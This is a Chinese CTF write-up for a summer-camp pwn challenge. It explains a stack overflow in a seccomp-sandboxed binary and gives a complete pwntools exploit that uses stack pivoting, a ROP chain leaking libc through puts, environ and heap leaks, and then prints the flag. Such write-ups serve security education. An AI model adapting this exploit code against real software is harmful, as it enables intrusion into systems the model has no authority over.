今年暑假参加了信大举办的北辰计划夏令营,其中最后一天举行了一次CTF比赛,第一批的题目比较难,当时没做出来,现在重新做一下,在此记录。

PWN

PWN1

题目描述

  1. 首先读取输入,判断输入与加密后的字符串,成功才能进入漏洞函数:
    直接动态调试可以得到输入应为I_can_find_the_right_path\n,然后进入存在漏洞函数;
  2. 漏洞函数会首先打开flag文件,将flag读入到堆上,并且关闭了flag文件描述符,然后使用seccomp开启沙箱保护,只允许read和write,exit(这里有点问题,好像不能直接用syscall的gadget,会直接报错bad system call,知道的师傅可以解释一下QWQ)。
    然后漏洞函数读取0x40字节,可以溢出0x10字节。

思路

  • 首先可以通过构造fake stack来写入更大长度的rop链,分为两步,第一步覆盖rbp为想要写入的伪栈地址,然后重新返回到vuln_addr+8(如图,要跳过push rbp,mov rbp,rsp),第二步向伪栈写入内容,然后leave ret即可实现栈迁移。

    脚本如下:

    1
    2
    3
    4
    5
    6
    7
    # step1: construct fake rbp
    payload = flat(b'a'*0x30, bss_addr, vuln_addr+8)
    p.sendafter("===welcome===\n", payload)

    # step2: input ROP to leak libc
    payload = flat(pop_rdi, puts_got, puts_plt, vuln_addr)
    payload = flat(payload, b'a'*(0x30-len(payload)), bss_addr-0x30-0x8, leave_ret)
  • 然后使用puts函数打印puts got表地址,泄漏libc

    1
    2
    3
    4
    5
    6
    7
    8
    9
    # step2: input ROP to leak libc
    payload = flat(pop_rdi, puts_got, puts_plt, vuln_addr)
    payload = flat(payload, b'a'*(0x30-len(payload)), bss_addr-0x30-0x8, leave_ret)

    p.send(payload)
    puts_addr = u64(p.recv(6).ljust(8, b'\x00'))
    info(f"puts_addr: {hex(puts_addr)}")
    libc_addr = puts_addr - libc.sym['puts']
    info(f"libc_addr: {hex(libc_addr)}")
  • 通过libc上environ符号打印出其所在栈地址

    脚本如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    # step3: leak environ_addr
    pop_rsi = 0x000000000002be51+libc_addr
    pop_rdx_r12 = 0x000000000011f497+libc_addr
    read_addr = libc_addr+libc.sym['read']
    write_addr = libc_addr+libc.sym['write']
    syscall = libc_addr+0x0000000000029db4
    pop_rax = 0x0000000000045eb0+libc_addr
    # mp_addr = libc_addr+libc.sym["mp]+96+1

    info(f"read_addr: {hex(read_addr)}")
    info(f"write_addr: {hex(write_addr)}")
    # info(f"mp_addr: ")

    flag_addr = 0x404600
    payload = flat(p64(bss_addr-0x100)*6, bss_addr, vuln_addr+8)
    p.send(payload)

    payload = flat(pop_rdi, 0, pop_rsi, flag_addr, pop_rdx_r12, 0x100, bss_addr+0x30, vuln_addr+8)
    p.send(payload)

    payload = flat(0, pop_rdi, 0, read_addr, vuln_addr+8, 0, bss_addr-0x30-0x8, leave_ret)
    p.send(payload)
    environ_addr = 0x28f2d0+libc_addr
    payload = flat(pop_rdi, 1, pop_rsi, environ_addr, pop_rdx_r12, 0x6, 0, write_addr, vuln_addr)
    payload = payload.ljust(0x100, b'\x00')
    p.send(payload)

    payload = flat(b'a'*0x30, flag_addr-0x8, leave_ret)
    p.send(payload)
    p.recvline()
    stack_addr = u64(p.recv(6).ljust(8, b'\x00'))
    info(f"stack_addr: {hex(stack_addr)}")

    然后根据偏移可以获取到栈上存储的堆地址,从而获取到存放flag的堆的地址

    脚本如下,这里假定堆地址只有3字节,可能需要多试几次才能出来:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    # step4: leak heap_addr
    heap_addr = stack_addr-0x130

    payload = flat(b'c'*0x30, bss_addr+0x200, vuln_addr+8)
    p.send(payload)

    payload = flat(pop_rdi, heap_addr, puts_plt, vuln_addr, b'c'*0x10, bss_addr+0x200-0x30-0x8, leave_ret)
    p.send(payload)
    heap_addr = u64(p.recv(3).ljust(8, b'\x00'))+0x30
    info(f"heap_addr: {hex(heap_addr)}")
  • puts函数打印flag地址即可

    1
    2
    3
    4
    5
    6
    # step5: print flag
    payload = flat(b'd'*0x30, bss_addr+0x200, vuln_addr+8)
    p.send(payload)

    payload = flat(pop_rdi, heap_addr, puts_addr, vuln_addr, b'd'*0x10, bss_addr+0x200-0x30-0x8, leave_ret)
    p.send(payload)

完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
from pwn import *

context(arch='amd64', log_level='debug', terminal=['tmux', 'splitw', '-h'])

# p = process("./pwn")
# gdb.attach(p, "b *0x0000000000401828")
# gdb.attach(p, "b *0x000000000040172D")
p = gdb.debug("./pwn",
"""
b *0x000000000040167E
b *0x000000000040172D
""")

p.sendline("I_can_find_the_right_path\n")

# stack pivoting to leak libc
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
pop_rdi = 0x000000000040173b
pop_rbp = 0x000000000040129d
vuln_addr = 0x000000000040170A
bss_addr = 0x0000000000404500
leave_ret = 0x000000000040186C
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
# step1: construct fake rbp
payload = flat(b'a'*0x30, bss_addr, vuln_addr+8)
p.sendafter("===welcome===\n", payload)

# step2: input ROP to leak libc
payload = flat(pop_rdi, puts_got, puts_plt, vuln_addr)
payload = flat(payload, b'a'*(0x30-len(payload)), bss_addr-0x30-0x8, leave_ret)

p.send(payload)
puts_addr = u64(p.recv(6).ljust(8, b'\x00'))
info(f"puts_addr: {hex(puts_addr)}")
libc_addr = puts_addr - libc.sym['puts']
info(f"libc_addr: {hex(libc_addr)}")

# step3: leak environ_addr
pop_rsi = 0x000000000002be51+libc_addr
pop_rdx_r12 = 0x000000000011f497+libc_addr
read_addr = libc_addr+libc.sym['read']
write_addr = libc_addr+libc.sym['write']
syscall = libc_addr+0x0000000000029db4
pop_rax = 0x0000000000045eb0+libc_addr
# mp_addr = libc_addr+libc.sym["mp]+96+1

info(f"read_addr: {hex(read_addr)}")
info(f"write_addr: {hex(write_addr)}")
# info(f"mp_addr: ")

flag_addr = 0x404600
payload = flat(p64(bss_addr-0x100)*6, bss_addr, vuln_addr+8)
p.send(payload)

payload = flat(pop_rdi, 0, pop_rsi, flag_addr, pop_rdx_r12, 0x100, bss_addr+0x30, vuln_addr+8)
p.send(payload)

payload = flat(0, pop_rdi, 0, read_addr, vuln_addr+8, 0, bss_addr-0x30-0x8, leave_ret)
p.send(payload)
environ_addr = 0x28f2d0+libc_addr
payload = flat(pop_rdi, 1, pop_rsi, environ_addr, pop_rdx_r12, 0x6, 0, write_addr, vuln_addr)
payload = payload.ljust(0x100, b'\x00')
p.send(payload)

payload = flat(b'a'*0x30, flag_addr-0x8, leave_ret)
p.send(payload)
p.recvline()
stack_addr = u64(p.recv(6).ljust(8, b'\x00'))
info(f"stack_addr: {hex(stack_addr)}")

# step4: leak heap_addr
heap_addr = stack_addr-0x130

payload = flat(b'c'*0x30, bss_addr+0x200, vuln_addr+8)
p.send(payload)

payload = flat(pop_rdi, heap_addr, puts_plt, vuln_addr, b'c'*0x10, bss_addr+0x200-0x30-0x8, leave_ret)
p.send(payload)
heap_addr = u64(p.recv(3).ljust(8, b'\x00'))+0x30
info(f"heap_addr: {hex(heap_addr)}")

# step5: print flag
payload = flat(b'd'*0x30, bss_addr+0x200, vuln_addr+8)
p.send(payload)

payload = flat(pop_rdi, heap_addr, puts_addr, vuln_addr, b'd'*0x10, bss_addr+0x200-0x30-0x8, leave_ret)
p.send(payload)

p.interactive()